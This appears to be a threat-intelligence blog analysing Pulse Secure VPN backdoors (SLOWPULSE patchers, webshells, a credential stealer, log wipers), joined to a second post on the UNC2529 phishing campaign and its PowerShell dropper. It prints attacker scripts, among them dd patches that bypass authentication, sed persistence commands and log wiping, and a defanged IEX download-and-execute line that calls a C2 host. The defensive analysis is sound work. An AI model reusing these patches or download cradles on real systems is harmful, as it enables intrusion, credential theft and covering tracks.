ACE Two Factor Auth Bypass

We Identified another variant of SLOWPULSE (SHA256: b1c2368773259fbfef425e0bb716be958faa7e74b3282138059f511011d3afd9) which is similar to SLOWPULSE VARIANT 2 the malicious logic lives within DSAuth::AceAuthServer::checkUsernamePassword, however this variant bypasses the logon procedure rather than login credentials. Typical execution of this routine calls DsSecID_checkLogin to validate the username and password which sets the EAX register to 1. The routine DSAuth::AceAuthServer::handleACEAuthResult then checks EAX to determine if auth was successful or not. The malicious logic hijacks execution immediately after the username and password fields are written to their map entries, then checks if the password matches the backdoor password. If the password matches, then the EAX register is overwritten to 1. This puts the program in the same state as if DsSecID_checkLogin had successfully executed, but unlike SLOWPULSE VARIANT 1 the original authentication routine is not called at all. The malicious logic then rejoins execution before DSAuth::AceAuthServer::handleACEAuthResult which will now pass. This forces the application down the execution path of successful authentication, even though in reality authentication would have failed.


RealmSignin Two Factor Auth Bypass

We identified a fourth variant of SLOWPULSE responsible for bypassing what may be the two-factor authentication step of the DSAuth::RealmSignin process. The backdoor is present within the function DSAuth::RealmSignin::runSigninStep.This routine is responsible for multiple steps of the login procedure and is implemented as a large switch statement. Case 11 of the switch statement typically calls the routines DSMap::setPrivacyKeyNames then DSAuth::RealmSignin::runSecondaryAuth. The malicious logic in this variant overwrites the call to DSAuth::RealmSignin::runSecondaryAuth with mov eax, 1. This forces application flow as if DSAuth::RealmSignin::runSecondaryAuth always succeeds, without ever calling it. We were not able to recover a file with these patches applied as the attacker removed their patches after use. However, we did uncover both the patcher and unpatcher utilities. We do not provide a hash for this file as we have not recovered it from a system in the field. This analysis was performed by replaying the changes performed by the patcher we did recover.

SLOWPULSE Variant 2 Patcher

As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to insert the malicious logic into the original file. The file with SHA256: c9b323b9747659eac25cec078895d75f016e26a8b5858567c7fb945b7321722c is responsible for inserting SLOWPULSE V2 malicious logic to log ACE credentials. The patcher accepts two command line arguments, the path to the original binary and the patched output file path. The original binary is read into memory, patched, and then written to the output path. The assembly patches and offsets into the original binary are hardcoded.

SLOWPULSE Variant 3 Patcher

 As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to insert the malicious logic into the original file. The file with SHA256: 06c56bd272b19bf7d7207443693cd1fc774408c4ca56744577b11fee550c23f7 is responsible for inserting SLOWPULSE V3 malicious logic to bypass ACE logon authentication process. The patcher accepts four arguments. The first argument is the original binary path, the second the patched output file path, third is the backdoor bypass password, and fourth is the letter e specifying to apply patches. The sample reads the original binary into memory, applies the assembly patches associated with SLOWPULSE V3, as well as the provided bypass password, then written to the output path. The assembly patches, and all offsets including where to copy the bypass password are hardcoded.

SLOWPULSE Variant 4 Patcher

As part of our investigation into the SLOWPULSE family we recovered the utility the attacker used to insert the malicious logic into the original file. The file with SHA256: e63ab6f82c711e4ecc8f5b36046eb7ea216f41eb90158165b82a6c90560ea415 responsible for inserting the patch for SLOWPULSE V3. The patch applied overwrites a single call to DSAuth::RealmSignin::runSecondaryAuth with mov eax, 1. This patcher utility is a simple bash script, unlike the previous patchers which were compiled applications likely written in C. The script in full is:

printf '\xB8' | dd conv=notrunc of=/home/lib/ bs=1 count=1 seek=$((0x5C7B31))
printf '\x01' | dd conv=notrunc of=/home/lib/ bs=1 count=1 seek=$((0x5C7B32))
printf '\x00' | dd conv=notrunc of=/home/lib/ bs=1 count=1 seek=$((0x5C7B33))
printf '\x00' | dd conv=notrunc of=/home/lib/ bs=1 count=1 seek=$((0x5C7B34))
printf '\x00' | dd conv=notrunc of=/home/lib/ bs=1 count=1 seek=$((0x5C7B35))

SLOWPULSE Variant 4 UnPatcher

As part of our investigation into the SLOWPULSE family we were able to recover the utility used by the attacker to remove the malicious logic into the original file for SLOWPULSE V4. The attacker chose to remove the patches applied to The file with SHA256: b2350954b9484ae4eac42b95fae6edf7a126169d0b93d79f49d36c5e6497062a is the unpatcher utility for SLOWPULSE V4. This sample is also a simple bash script, in full it is:

printf '\xE8' | dd conv=notrunc of=/home/lib/ bs=1 count=1 seek=$((0x5C7B31))
printf '\xE2' | dd conv=notrunc of=/home/lib/ bs=1 count=1 seek=$((0x5C7B32))
printf '\x08' | dd conv=notrunc of=/home/lib/ bs=1 count=1 seek=$((0x5C7B33))
printf '\xD0' | dd conv=notrunc of=/home/lib/ bs=1 count=1 seek=$((0x5C7B34))
printf '\xFF' | dd conv=notrunc of=/home/lib/ bs=1 count=1 seek=$((0x5C7B35))


The file licenseserverproto.cgi (SHA256: 168976797d5af7071df257e91fcc31ce1d6e59c72ca9e2f50c8b5b3177ad83cc) is a webshell implemented via modification of a legitimate Perl script used by a Pulse Secure tool which enables arbitrary command execution.

The attacker inserted two blocks of Perl code that implement the webshell. The source code modifications are surrounded by comments that indicate the start and end of inserted code. The comment strings used are ##cgistart1, ##cgiend1, ##cgistart2 and ##cgiend2. Although the exact purpose of these comment strings is unknown, the attacker may use them to facilitate updates to the malicious code or to allow for its quick removal if necessary.

  • The Perl script enclosed in the tags ##cgistart1 and ##cgiend1 adds several lines to import Perl modules that are used by the webshell. It also adds a function to parse parameters of received command data.
  • The script enclosed in the tags ##cgistart2 and ##cgiend2 is responsible for checking web requests designed to be executed by the webshell, if present. If no webshell request is found, the script passes execution to the legitimate Perl script for the webpage.

The webshell portion of the script is invoked when it receives a form submission name=value pair of serverid matching a secret key. This causes the webshell to extract the string passed to it via the QUERY_STRING CGI environment variable. Individual key/value pairs delimited by the & character and are URL decoded. Although the script parses out all key/value pairs it receives, it specifically looks for and extracts data associated with the cmd parameter. If found, it will generate a form containing the extracted cmd to be executed and the previous serverid value along with a form submission button named Run. Upon submission, the webshell will execute the passed command on the victim host's command line and display the results to the attacker before exiting. If no cmd value was extracted, the webshell will simply output a HTML tag.


The file secid_canceltoken.cgi (SHA256: a1dcdf62aafc36dd8cf64774dea80d79fb4e24ba2a82adf4d944d9186acd1cc1) is a webshell written in Perl that enables arbitrary command execution. With a properly formatted request, the script will execute webshell code. Otherwise, the legitimate welcome page of the Pulse Secure VPN software is presumably invoked.

The script checks for web requests using the HTTP POST method and, if found, will further check the HTTP request headers for the CGI environment variable HTTP_X_KEY. If this header matches a backdoor key, then the malware will output the result of the command sent in the variable HTTP_X_CMD. This data is RC4 encrypted and base64-encoded. The passphrase to decrypt is sent in the environment variable HTTP_X_CNT. The webshell will set the content type to Content-type:text/html and the command output printed. Following this, the script exits.


The file dsserver (SHA256: 9f6ac39707822d243445e30d27b8404466aa69c61119d5308785bf4a464a9ebd) is a legitimate Perl script with malicious modifications to fork the child process /home/bin/dshelper. The dshelper script does not exist on a clean PulseSecure installation, this file is described as QUIETPULSE Utility Script.

QUIETPULSE Utility Script

The file dshelper (SHA256: c774eca633136de35c9d2cd339a3b5d29f00f761657ea2aa438de4f33e4bbba4) is a shell script invoked by a malicious version of dsserver that primarily functions as a utility script responsible for copying files and executing commands. Like the ATRIUM patcher, this script accesses /tmp/data, a path which is used during a system upgrade. This file is therefore, like the ATRIUM patcher, used by the attacker to maintain persistence. The script is set to execute in a loop where four main checks are executed every two minutes. The checks are as follows:

Check 1

If /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi exists and is non-empty then execute:

  • grep -c -s 'system($depara)' /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

It checks if the file has the contents system($depara). If the file does not contain this content, then retrieve the first line of the file by executing:

  • sed -n 1p /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

Then copy a file via:

  • cp /home/webserver/htdocs/dana-na/auth/compcheckjava.cgi /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

Then replace the copy’s first line with the one retrieved from the sed above via:

  • sed -i 1c"" /tmp/data/root/home/webserver/htdocs/dana-na/auth/compcheckjava.cgi

Check 2

If /tmp/data/root/home/bin/ exists as a directory, then check if the file /tmp/data/root/home/bin/dshelper does not exist. If it does not exist, then place it there by copying a file via:

  • cp -p /home/bin/dshelper /tmp/data/root/home/bin/

Check 3

If /tmp/data/root/home/bin/dsserver exists and is non-empty then execute the following to check if the file does not contain the string exec("/home/bin/dshelper"):

  • grep -c -s 'exec("/home/bin/dshelper")' /tmp/data/root/home/bin/dsserver

If it doesn't then execute to insert the line:

  • sed -i 's/for (;;)/my $monpid = fork();\nif ($monpid == 0) {\nexec(\"\/home\/bin\/dshelper\");\n}\n&/g' /tmp/data/root/home/bin/dsserver

Check 4

If the file /tmp/data/root/home/bin/ exists and is non-empty, then check if the file contains the string exit 1 by executing:

  • grep -c -s 'exit 1' /tmp/data/root/home/bin/

If the file does contain this content, then execute the following to switch the content to exit 0:

  • sed -i 's/exit 1/exit 0/g' /tmp/data/root/home/bin/

The file with SHA256: 7fa71a7f76ef63465cfeacf58217e0b66fc71bc81d37c44380a6f572b8a3ec7a is a system information and credential harvesting Perl script. The sample writes information from multiple sources to the file /tmp/dsactiveuser.statementcounters in append mode.

The sample begins by retrieving all auth servers via the API AuthAdmin::getAllAuthServers. and logs the results. Next, the sample logs all roles via the API DSRole::GeneralAdmin::getRoles and writes the values to the file. The sample may also retrieve and log additional information depending on the device configuration.


The file compcheckjava.cgi (SHA256: 1d3ab04e21cfd40aa8d4300a359a09e3b520d39b1496be1e4bc91ae1f6730ecc) has the ability to read and write arbitrary files and may execute arbitrary commands depending on the implementation of a particular library function.

The sample responds to HTTP GETs and PUTs. The GET path is not relevant, but the PUT path first checks if the incoming requests checkcode POST param is equal to a hardcoded passcode. If this check passes the sample inspects the param hashid to determine if it's non-empty. If non-empty the sample displays a prompt to the user that includes hardware information and then base64 decodes the param hashid and checks it against pulsesecure. If this matches a recoveryToken is generated which is the MD5 hash of 16 random bytes, with the result hash truncated to 8 characters. This token is then displayed to the user via the URL https://ive-host/dana-na/auth/recover[.]cgi?token= and the sample exits. If this check did not match then the sample passes the base64 decoded data to a routine DSSafe::psystem which may execute shell commands, however this implementation is not provided and is speculation.

If the param hashid is empty the sample instead checks that the param m is non-empty. If so, it's matched against get and put which will read/write arbitrary files to the host, respectively.


The file compcheckresult.cgi (SHA256: f2b1bd703c3eb05541ff84ec375573cbdc70309ccb82aac04b72db205d718e90) is a webshell capable of arbitrary command execution. The sample has malicious logic inserted at the end of legitimate logic. The malicious logic inspects all requests of any type looking for the HTTP query parameter id. If this query parameter exists, the sample executes it verbatim on using the system API. The sample does not encode or obfuscate the command in any way. If the query parameter is not found in the request, then the original legitimate logic is invoked.

Persistence Patcher

The file (SHA256: 224b7c45cf6fe4547d3ea66a12c30f3cb4c601b0a80744154697094e73dbd450) is a patcher utility script responsible for persisting webshells across a system upgrade. We’ve observed variants of this utility targeting the persistence of multiple webshell families, notably ATRIUM, STEADYPULSE, and PULSECHECK. Like previous patchers, this sample uses sed to insert malicious logic. The attacker likely chose to host their patch logic as it is a core file in the system upgrade procedure, ensuring the patch is during updates. The patcher modifies content in /tmp/data as this directory holds the extracted upgrade image the newly upgraded system will boot into. This results in a persistence mechanism which allows the attacker to maintain access to the system across updates.

my $cmd_x="sed -i '/echo_console \"Saving package\"/i(
    sed -i \\\'/main();\\\$/cif(CGI::param(\\\\\"id\\\\\")){
        print \\\\\"Cache-Control: no-cache\\\\\\\\n\\\\\";
        print \\\\\"Content-type: text/html\\\\\\\\n\\\\\\\\n\\\\\";
        my \\\\\$na=CGI::param(\\\\\"id\\\\\");
    } else{
    }\\\' /tmp/data/root$cgi_p;
    cp -f /home/perl/ /tmp/data/root/home/perl;
    cp -f /pkg/dspkginstall /tmp/data/root/pkg/;

The patcher also performs additional shell commands for unpacking a compressed package:

system("/bin/mount -o remount,rw /dev/root /");
system("/bin/tar", "-xzf", "/tmp/new-pack.tgz", "-C", "/tmp","./installer");
system("cp -f /tmp/installer/do-install /pkg/");
system("cp -f /tmp/installer/VERSION /pkg/");
system("cp -f /tmp/installer/sysboot-shlib /pkg/");
system("cp -f /tmp/installer/losetup /pkg/");


The file memread (SHA256: 68743e17f393d1f85ee937dffacc91e081b5f6f43477111ac96aa9d44826e4d2) is a credential stealer. The sample has the usage information:

Usage: memread [-t time(minute)] [-m size(MB)] [-s sleep_interval(second)]

The sample starts by setting an alarm that kills the application after a configurable number of minutes, 14 by default. It then enters a loop which reads /proc/ entries every 2 seconds looking for a target application, this interval is also configurable. The target is found by opening /proc//cmdline for each entry in the folder and then reading this file looking for the string dswsd within the command line. Once found the target application's proc//mem is opened, the process is attached to with PTRACE, then memory read in chunks up to 512 bytes in size. For each chunk, the string 20 30 20 0A 00 ( 0 \n) is searched for as a needle. If found the sample splits the data by first space, then a dash -. Two dashes are expected to be found, and these are immediately converted into hex numbers, example form: -. If the second number minus the first is > 8191 the sample reads the data starting at the file offset of the first number, up to a size specified by second number minus first number.

Once the sample has read the process memory and found all memory data of interest the sample detaches PTRACE then the sample begins memory scanning the copied data. The sample tries to locate a sequence of 'flags' in memory one by one to locate what seem to be information the attacker wishes to steal. This information is not known, nor is the structure of it. The sequences scanned for generally have start and end scan sequences which in order scanned for, are:

USER_START_FLAG: 3C 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 05 00
USER_END_FLAG: 3C 2F 05 08 75 73 65 72 4E 61 6D 65 05 01 3E 00
PASSWORD_START_FLAG: 3C 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00
PASSWORD_END_FLAG: 3C 2F 05 08 70 61 73 73 77 6F 72 64 05 01 3E 00
AUTHNUM_START_FLAG: 3C 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00
AUTHNUM_END_FLAG: 3C 2F 05 0A 61 75 74 68 4E 75 6D 62 65 72 05 01 3E 00

If all these sequences are found, the data between the start and end is extracted and eventually formatted and written to the file /tmp/dsserver-check.statementcounters. The approximate format of this data is:

Name: || Pwd: || AuthNum:\n

The sample replaces the following URL encoded values with their ascii representation for the password:

& ->  &
<  ->  <
>  ->  >

PACEMAKER Launcher Utility

As part of our investigation into PACEMAKER we were able to retrieve a simple bash script responsible for launching the credential stealer. The launcher script hash SHA256 4c5555955b2e6dc55f52b0c1a3326f3d07b325b112060329c503b294208960ec launches PACEMAKER from a hardcoded path with options specifying a 16MB memory read size and a memory scan interval of 2 seconds, with a variable self-kill time.


/home/bin/memread -t $1 -m 16 -s 2 &

THINBLOOD Log Wiper Utility

The file dsclslog with SHA256 88170125598a4fb801102ad56494a773895059ac8550a983fdd2ef429653f079 is a log wiper utility. The sample provides the usage information:

Usage: dsclslog -f [events|access] -r [Regex1,Regex2,Regex3,...]

The –f flag specifies if the file or log.access.vc0 within the directory /home/runtime/logs should be modified. To perform its log cleaning operations the sample first makes two copies of whichever log file was chosen, but uses .vc1 and .vc2 as the extension for the new files. The file with the .vc1 is used to search for entries that match the given entries, and the file with the .vc2 extension is used as a temporary file where the cleaned log is written. After generating both files and log cleaning is finished the sample executes the following commands via the system API to overwrite the original log with the cleaned version, then removes the intermediate:

mv /home/runtime/logs/log..vc2
rm /home/runtime/logs/log..vc1

THINBLOOD LogWiper Utility Variant

The file (SHA256: 1741dc0a491fcc8d078220ac9628152668d3370b92a8eae258e34ba28c6473b9) is a BASH script responsible for zeroing log lines that match a given regex pattern. The sample is similar to the compiled THINBLOOD Log Wiper but edits logs in-place with sed rather than making temporary copies. The sed commands used are:

sed -i "s/.\x00[^\x00]*[^\x00]*\x09.\x00//g" /data/runtime/logs/

sed -i "s/\x\x00[^\x00]*$2[^\x00]*\x09\x\x00//g" /data/runtime/logs/

The sample embeds the usage information:

usage: /home/bin/bash [logfile] [keyword(regex)]


The file (SHA256: 2610d0372e0e107053bc001d278ef71f08562e5610691f18b978123c499a74d8) is a shared object containing cryptographic logic from openssl. The sample contains a modification to the routine bnrand_range that breaks the security of the random numbers generated. There are three paths in this routine for generating a random big number between a given range. The first case is unmodified and generates a zeroed big number, the other two cases are patched so that a constant value overwrites the generated random value and always returns success. This breaks the random number generation by replacing it with a value the attacker knows in all cases.


The file with the hash b990f79ce80c24625c97810cb8f161eafdcb10f1b8d9d538df4ca9be387c35e4 is a patcher utility responsible for inserting the malicious logic known as LOCKPICK. The patcher starts by running sed on the integrity checker script built into the appliance to insert an early exit routine. This is inserted by the command sed -i '12aexit 0' /home/bin/ which when applied causes this script to exit without performing its intended checks. After this the sample uses python file read/write APIs to insert long strings of assembly that represent the logic known as LOCKPICK. This file is different from the other patchers we’ve identified in that it is python and specifically targets system integrity routines.

Detecting the Techniques

The following table contains specific FireEye product detection names for the malware families associated with the exploitation of Pulse Secure VPN device.


Detection Name 

Network Security 

Email Security 

Detection On Demand 

Malware File Scanning 

Malware File Storage Scanning 














Suspicious Pulse Secure HTTP request (IPS)

Endpoint Security 

Real-Time (IOC)



VPN ANALYTICS [Abnormal Logon]
EXPLOIT - SONICWALL ES [CVE-2021-20021 Attempt] 
EXPLOIT - SONICWALL ES [CVE-2021-20021 Success]
EXPLOIT - SONICWALL ES [CVE-2021-20023 Attempt]
EXPLOIT - SONICWALL ES [CVE-2021-20023 Success]

Mandiant Security Validation Actions

Organizations can validate their security controls using the following actions with Mandiant Security Validation.




Malicious File Transfer - SLOWPULSE, Download, Variant #1 


Malicious File Transfer - SLOWPULSE, Download, Variant #2 


Malicious File Transfer - SLOWPULSE, Download, Variant #3 


Malicious File Transfer - SLOWPULSE, Download, Variant #4 


Malicious File Transfer - SLOWPULSE, Download, Variant #5 


Malicious File Transfer - SLOWPULSE, Download, Variant #6 


Malicious File Transfer - SLOWPULSE, Download, Variant #7 


Malicious File Transfer - Pulse Secure Vulnerability, Utility, Download, Variant #1 


Malicious File Transfer - RADIALPULSE, Download, Variant #1 


Malicious File Transfer - PULSEJUMP, Download, Variant #1 


Malicious File Transfer - HARDPULSE, Download, Variant #1 


Malicious File Transfer - SLIGHTPULSE, Download, Variant #1 


Malicious File Transfer - LOCKPICK, Patcher, Download, Variant #1 


Malicious File Transfer - LOCKPICK, Download, Variant #1 


Malicious File Transfer - ATRIUM, Patcher, Download, Variant #1 


Malicious File Transfer - PACEMAKER, Launcher, Download, Variant #1 


Malicious File Transfer - PACEMAKER, Download, Variant #1 


Malicious File Transfer - QUIETPULSE Utility, Download, Variant #1 


Malicious File Transfer - QUIETPULSE, Download, Variant #1 


Malicious File Transfer - STEADYPULSE, Download, Variant #2 


Malicious File Transfer - STEADYPULSE, Download, Variant #1 


Malicious File Transfer - ATRIUM, Download, Variant #1 


Malicious File Transfer - THINBLOOD, Download, Variant #1 


Malicious File Transfer - THINBLOOD, Download, Variant #2 


Malicious File Transfer - PULSECHECK, Download, Variant #1 


Malicious File Transfer - PULSECHECK, Download, Variant #2 


Host CLI - QUIETPULSE Utility, Check, Variant #1 


Host CLI - QUIETPULSE Utility, Check, Variant #2 


Host CLI - QUIETPULSE Utility, Check, Variant #3 


Host CLI - QUIETPULSE Utility, Check, Variant #4 


Mandiant would like to thank the Stroz Friedberg DFIR and Security Testing teams for their collaboration with the analysis and research. The team would also like to thank Joshua Villanueva, Regina Elwell, Jonathan Lepore, Dimiter Andonov, Josh Triplett, Jacob Thompson and Michael Dockry for their hard work in analysis and blog content.

The UNC2529 Triple Double: A Trifecta Phishing Campaign

04 May 2021

In December 2020, Mandiant observed a widespread, global phishing campaign targeting numerous organizations across an array of industries. Mandiant tracks this threat actor as UNC2529. Based on the considerable infrastructure employed, tailored phishing lures and the professionally coded sophistication of the malware, this threat actor appears experienced and well resourced. This blog post will discuss the phishing campaign, identification of three new malware families, DOUBLEDRAG, DOUBLEDROP and DOUBLEBACK, provide a deep dive into their functionality, present an overview of the actor’s modus operandi and our conclusions. A future blog post will focus on the backdoor communications and the differences between DOUBLEBACK samples to highlight the malware evolution.

UNC2529 Phishing Overview

Mandiant observed the first wave of the phishing campaign occur on Dec. 2, 2020, and a second wave between Dec. 11 and Dec. 18, 2020.

During the initial flurry, Mandiant observed evidence that 28 organizations were sent phishing emails, though targeting was likely broader than directly observed. These emails were sent using 26 unique email addresses associated with the domain tigertigerbeads<.>com, and in only a small number of cases did we see the same address used across multiple recipient organizations. These phishing emails contained inline links to malicious URLs such as, hxxp://totallyhealth-wealth[.]com/downld-id_mwGdczs, engineered to entice the victim to download a file. UNC2529 employed at least 24 different domains to support this first, of a three-stage process.

The structure of URLs embedded in these phishing emails had the following patterns, where the string was an alphabetic variable of unknown function.


The first stage payload downloaded from these URLs consisted of a Zip compressed file containing a corrupt decoy PDF document and a heavily obfuscated JavaScript downloader. Mandiant tracks the downloader as DOUBLEDRAG. Interestingly, the PDF documents were obtained from public websites, but corrupted by removing bytes to render them unreadable with a standard PDF viewer. It is speculated that the victim would then attempt to launch the JavaScript (.js) file, which can be executed natively with Windows Script Host by simply double clicking on the file. All but one of the file name patterns for the ZIP, PDF and JS files were document__client-id_<4 digit number>.extension, such as “”.

Each of the observed DOUBLEDRAG downloaders used in the first wave attempted to download a second-stage memory-only dropper, which Mandiant tracks as DOUBLEDROP, from either hxxp://p-leh[.]com/update_java.dat or hxxp://clanvisits[.]com/mini.dat. The downloaded file is a heavily obfuscated PowerShell script that will launch a backdoor into memory. Mandiant tracks this third-stage backdoor as DOUBLEBACK. DOUBLEBACK samples observed during the phishing campaign beaconed to hxxps://klikbets[.]net/admin/client.php and hxxps://lasartoria[.]net/admin/client.php.

Prior to the second wave, observed between Dec. 11 and Dec. 18, 2020, UNC2529 hijacked a legitimate domain owned by a U.S. heating and cooling services company, modified DNS entries and leveraged that infrastructure to phish at least 22 organizations, five of which were also targeted in the first wave. It is not currently known how the legitimate domain was compromised. The threat actor used 20 newly observed domains to host the second-stage payload. 

The threat actor made slight modifications to the URL pattern during the second wave.


Of note, the DOUBLEDRAG downloader observed in the first wave was replaced with a Microsoft Excel document containing an embedded legacy Excel 4.0 (XLM) macro in Excel 97-Excel 2003 Binary file format (BIFF8). When the file was opened and the macro executed successfully, it would attempt to download a second-stage payload from hxxps://towncentrehotels[.]com/ps1.dat. The core functionality of the DOUBLEDRAG JavaScript file and the BIFF8 macro is to download a file from a hardcoded URL. This Excel file was also found within Zip files, as seen in the first wave, although only one of the observed Zip files included a corresponding corrupt decoy PDF document. 

Additional DOUBLEBACK samples were extracted from DOUBLEDROP samples uploaded to a public malware repository, which revealed additional command and control servers (C2), hxxps://barrel1999[.]com/admin4/client.php, hxxps://widestaticsinfo[.]com/admin4/client.php, hxxps://secureinternet20[.]com/admin5/client.php, and hxxps://adsinfocoast[.]com/admin5/client.php. Three of these domains were registered after the observed second wave.

Tailored Targeting

UNC2529 displayed indications of target research based on their selection of sender email addresses and subject lines which were tailored to their intended victims. For example, UNC2529 used a unique username, masquerading as an account executive for a small California-based electronics manufacturing company, which Mandiant identified through a simple Internet search. The username of the email address was associated with both sender domains, tigertigerbeads<.>com and the compromised HVAC company. Masquerading as the account executive, seven phishing emails were observed targeting the medical industry, high-tech electronics, automotive and military equipment manufacturers, and a cleared defense contractor with subject lines very specific to the products of the California-based electronics manufacturing company.

Another example is a freight / transport company that received a phish with subject, “compton ca to flowery branch ga”, while a firm that recruits and places long-haul truck drivers received a simple, “driver” in the subject line.

A utility company received a phish with subject, “easement to bore to our stairwell area.”

While not all financial institutions saw seemingly tailored subjects, numerous appeared fairly unique, as shown in Table 1.

Subject Lure


re: outdoors environment (1 out of 3)


accepted: follow up with butch & karen


re: appraisal for - smysor rd


re: financing


Table 1: Sample financial industry subject lures

Several insurance companies that were targeted saw less specific subjects, but still appropriate for the industry, such as those in Table 2.

Subject Lure


fw: certificate of insurance


fw: insurance for plow


please get this information


question & number request


claim status


applications for medicare supplement & part d


Table 2: Sample insurance industry subject lures

Interestingly, one insurance company with offices in eastern Texas received a phish with a subject related to a local water authority and an ongoing water project. While no public information was found to tie the company to the other organization or project, the subject appeared to be very customized.

Some patterns were observed, as seen in Table 3. Additionally, UNC2529 targeted the same IT services organization in both waves using the same lure (1 and 5 in Table 3). Most of the phishing emails with lures containing “worker” targeted U.S. organizations. As “worker” isn’t a common way to refer to an employee in the U.S., this may indicate a non-native American English speaker.

Subject Lure


dear worker, your work # ujcb0utczl


good day worker, your job number- 8ldbsq6ikd


hello worker, your work number- u39hbutlsf


good day candidate, your vacancy # xcmxydis4s


dear worker, your work # ujcb0utczl


Table 3: Sample pattern subject lures

Industry and Regional Targeting

UNC2529’s phishing campaign was both global and impacted an array of industries (Industry and Regional Targeting graphics are greater than 100% due to rounding). While acknowledging some telemetry bias, in both waves the U.S. was the primary target, while targeting of EMEA and Asia and Australia were evenly dispersed in the first wave, as shown in Figure 1.

Figure 1: UNC2529 phishing campaign, first wave

In the second wave, EMEA’s percentage increased the most, while the U.S. dropped slightly, and Asia and Australia remained at close to the same level, as illustrated in Figure 2. 

Figure 2: UNC2529 phishing campaign, second wave

Although Mandiant has no evidence about the objectives of this threat actor, their broad targeting across industries and geographies is consistent with a targeting calculus most commonly seen among financially motivated groups.

Technical Analysis


The Triple DOUBLE malware ecosystem consists of a downloader (DOUBLEDRAG) (or alternatively an Excel document with an embedded macro), a dropper (DOUBLEDROP), and a backdoor (DOUBLEBACK). As described in the previous section, the initial infection vector starts with phishing emails that contain a link to download a malicious payload that contains an obfuscated JavaScript downloader. Once executed, DOUBLEDRAG reaches out to its C2 server and downloads a memory-only dropper. The dropper, DOUBLEDROP, is implemented as a PowerShell script that contains both 32-bit and 64-bit instances of the backdoor DOUBLEBACK. The dropper performs the initial setup that establishes the backdoor’s persistence on the compromised system and proceeds by injecting the backdoor into its own process (PowerShell.exe) and then executing it. The backdoor, once it has the execution control, loads its plugins and then enters a communication loop, fetching commands from its C2 server and dispatching them. One interesting fact about the whole ecosystem is that only the downloader exists in the file system. The rest of the components are serialized in the registry database, which makes their detection somewhat harder, especially by file-based antivirus engines.

Ecosystem in Details

DOUBLEDRAG Downloader component

The downloader is implemented as a heavily obfuscated JavaScript code. Despite the relatively large amount of the code, it boils down to the following snippet of code (Figure 3), after de-obfuscation.

"C:\Windows\System32\cmd.exe" /c oqaVepEgTmHfPyC & Po^wEr^sh^elL -nop -w hidden -ep bypass -enc

Figure 3: De-obfuscated JavaScript downloader

The downloads and executes a PowerShell script that implements the DOUBLEDROP dropper. Note, that the downloaded dropper does not touch the file system and it is executed directly from memory. A sanitized version of the code, observed in the first phishing wave, is shown in Figure 4.

IEX (New-Object Net.Webclient).downloadstring("hxxp://p-leh[.]com/update_java.dat")

Figure 4: Downloading and executing of the DOUBLEDROP dropper

DOUBLEDROP Dropper component


The dropper component is implemented as an obfuscated in-memory dropper written in PowerShell. Two payloads are embedded in the script—the same instances of the DOUBLEBACK backdoor compiled for 32 and 64-bit architectures. The dropper saves the encrypted payload along with the information related to its decryption and execution in the compromised system’s registry database, effectively achieving a file-less malware execution.


The dropper's main goal is to serialize the chosen payload along with the loading scripts into the compromised system's registry database and to ensure that the payload will be loaded following a reboot or a user login (see the Persistence Mechanism section). In order to do so, the dropper generates three pseudo-random GUIDs and creates the registry keys and values shown in Figure 5.

* HK[CU|LM]\Software\Classes\CLSID\{}
       * key: LocalServer
              * value:
                      * data:
       * key: ProgID
              * value:
                      * data:
              * value:
                      * data:
       * key: VersionIndependentProgID
              * value:
                      * data:
              * value:
                      * data:
              * value:
                      * data:

* HK[CU|LM]\Software\Classes\{}
       * value:
              * data:
       * key: CLSID
              * value:
                      * data:

* HK[CU|LM]\Software\Classes\CLSID\{}
       * value:
              * data:
       * key: TreatAs
              * value:
                      * data:

Figure 5: Registry keys and values created by the dropper

Once the registry keys and values are created, the dropper dynamically generates the bootstrap and the launcher PowerShell scripts and saves them under the {} registry key as shown in Figure 5. Additionally, at this point the dropper generates a random RC4 key and encodes it inside a larger buffer which is then saved under the VersionIndependentProgID key. The actual RC4 key within the buffer is given by the following calculations, shown in Figure 6 (note that the key is reversed!).

= buffer[32]
buffer[32 + + 1] =

Figure 6: Encoding of the RC4 key

Finally, the dropper encrypts the payload using the generated RC4 key and saves it in the respective value under the VersionIndependentProgId registry key (see Figure 5).

At this point all the necessary steps that ensure the payload's persistence on the system are complete and the dropper proceeds by directly executing the launcher script, so the backdoor receives the execution control immediately. The persistence mechanism, the bootstrap, and the launcher are described in more details in the following sections.

Persistence Mechanism

The persistence mechanism implemented by the DOUBLEDROP sample is slightly different depending on whether the dropper has been started within an elevated PowerShell process or not.

If the dropper was executed within an elevated PowerShell process, it creates a scheduled task with an action specified as TASK_ACTION_COM_HANDLER and the class ID - the {} GUID (See Figure 5). Once executed by the system, the task finds the {} class under the HKLM\Software\Classes\CLSID registry path, which in this case points to an emulator class via the TreatAs registry key. The {} emulator class ID defines a registry key LocalServer and its default value will be executed by the task.

If the dropper is started within a non-elevated PowerShell process, the sequence is generally the same but instead of a task, the malware hijacks one of the well-known classes, Microsoft PlaySoundService ({2DEA658F-54C1- 4227-AF9B-260AB5FC3543}) or MsCtfMonitor ({01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}), by creating an associated TreatAs registry key under their definition in the registry database. The TreatAs key's default registry value points to the {} emulator class essentially achieving the same execution sequence as in the elevated privilege case.


The bootstrap is implemented as an obfuscated PowerShell script, generated dynamically by the dropper. The content of the code is saved under the emulator's class LocalServer registry key and it is either executed by a dedicated task in case of a privileged PowerShell process or by the operating system that attempts to load the emulator for the PlaySoundService or MsCtfMonitor classes. 

The bootstrap code finds the location of the launcher script, decodes it and then executes it within the same PowerShell process. A decoded and sanitized version of the script is shown in Figure 7.

$enc = [System.Text.Encoding]::UTF8;
$loader = Get-ItemProperty
    -n '' | Select-Object -ExpandProperty '';
$xor_val = ;
        for ($i = 0; $i -lt $loader.Length; $i++) {
            if ($xor_val -ge 250) {
                $xor_val = 0
            $loader[$i] -bxor $xor_val;
            $xor_val += 4

Figure 7: De-obfuscated and sanitized bootstrap code

Note that the actual values for , , and are generated on the fly by the dropper and will be different across the compromised systems.

